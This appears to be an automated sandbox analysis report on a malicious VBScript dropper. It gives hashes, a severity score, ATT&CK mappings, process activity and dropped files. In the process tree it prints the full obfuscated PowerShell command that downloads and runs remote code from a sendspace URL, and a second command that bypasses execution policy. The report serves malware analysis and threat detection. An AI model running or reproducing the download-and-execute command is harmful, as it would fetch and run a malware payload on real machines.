846c121840d5733fc9ffed9baf40ef76dad6011ee88f8382b828df3aa61e2a22

General

Target

RSOAW_#010.vbs
Size

1KB
MD5

1a82973cdecd6bd1a070e0b14fb9210f
SHA1

97b096ff116dd27bc2a20f5c58c87b03d6b1e7ff
SHA256

846c121840d5733fc9ffed9baf40ef76dad6011ee88f8382b828df3aa61e2a22
SHA512

09c473a93334b970599bfe26a3e0936d85c34ef0f711ce82bf2640a145601463686812c04962f38460bef025035cf524aac187185b51ffeb95c91fb99b7cc49c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://fs12n2.sendspace.com/dlpro/de7e01fb2feeae8700b438a36e907097/619d05a0/jnmrpk/eyuow.txt

Signatures

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

5 276 powershell.exe
7 276 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

276 powershell.exe
1036 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 276 powershell.exe
Token: SeDebugPrivilege 1036 powershell.exe

flow	pid	process
5	276	powershell.exe
7	276	powershell.exe

pid	process
276	powershell.exe
1036	powershell.exe

description	pid	process
Token: SeDebugPrivilege	276	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WScript.exepowershell.exe

description	pid	process	target process
PID 1372 wrote to memory of 276	1372	WScript.exe	powershell.exe
PID 1372 wrote to memory of 276	1372	WScript.exe	powershell.exe
PID 1372 wrote to memory of 276	1372	WScript.exe	powershell.exe
PID 276 wrote to memory of 1036	276	powershell.exe	powershell.exe
PID 276 wrote to memory of 1036	276	powershell.exe	powershell.exe
PID 276 wrote to memory of 1036	276	powershell.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RSOAW_#010.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`e`x (New-Object Net.WebClient).DownloadString('https://fs12n2.sendspace.com/dlpro/de7e01fb2feeae8700b438a36e907097/619d05a0/jnmrpk/eyuow.txt');
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:276

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoE -Nop -NonI -ExecutionPolicy Bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1036

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
d75f24e42e5470b6a48d4378b3fe71fc

SHA1
c271a98753ee267c3215f7ee37d9193c4337e4ec

SHA256
76589ff4d06b6b5710d1d25d7b49faeb6f9fd027a2a2aad09fbcff2130e4c94a

SHA512
09f1430ce0494b9303543c75f14f0f953ff5c846203a4f4f9ea523656a57eb2da0827be0789d488240ca5218f102eb1ce669256a40f84c3df0a5909f82ea3fa9

Download Submit
C:\Users\Public\Downloads\HBar.ps1
MD5
fae00a2501d2db9016c53214ed0adbcd

SHA1
16518f27a21ed8ee9ba53ffefc4a3ce4e89438a8

SHA256
cf9fbf65847079463dd464bc262b5e7b014e77561030b41395e8bd72ca0ef998

SHA512
e7e7ac1f6eae4025b119ac83c9f9420067f8782caac2365145a1d673f1e413ef2a4812ca986e09e2b09ceb5a26b853265d79d82a0dfb769ead2b4dc089d213cd

Download Submit
memory/276-60-0x0000000002852000-0x0000000002854000-memory.dmp

Filesize
8KB

Download
memory/276-59-0x0000000002850000-0x0000000002852000-memory.dmp

Filesize
8KB

Download
memory/276-61-0x0000000002854000-0x0000000002857000-memory.dmp

Filesize
12KB

Download
memory/276-62-0x000000000285B000-0x000000000287A000-memory.dmp

Filesize
124KB

Download
memory/276-58-0x000007FEF2110000-0x000007FEF2C6D000-memory.dmp

Filesize
11.4MB

Download
memory/276-56-0x0000000000000000-mapping.dmp

Download
memory/1036-63-0x0000000000000000-mapping.dmp

Download
memory/1036-66-0x000007FEF2110000-0x000007FEF2C6D000-memory.dmp

Filesize
11.4MB

Download
memory/1036-67-0x0000000002790000-0x0000000002792000-memory.dmp

Filesize
8KB

Download
memory/1036-68-0x0000000002792000-0x0000000002794000-memory.dmp

Filesize
8KB

Download
memory/1036-69-0x0000000002794000-0x0000000002797000-memory.dmp

Filesize
12KB

Download
memory/1036-71-0x000000000279B000-0x00000000027BA000-memory.dmp

Filesize
124KB

Download
memory/1372-55-0x000007FEFC141000-0x000007FEFC143000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing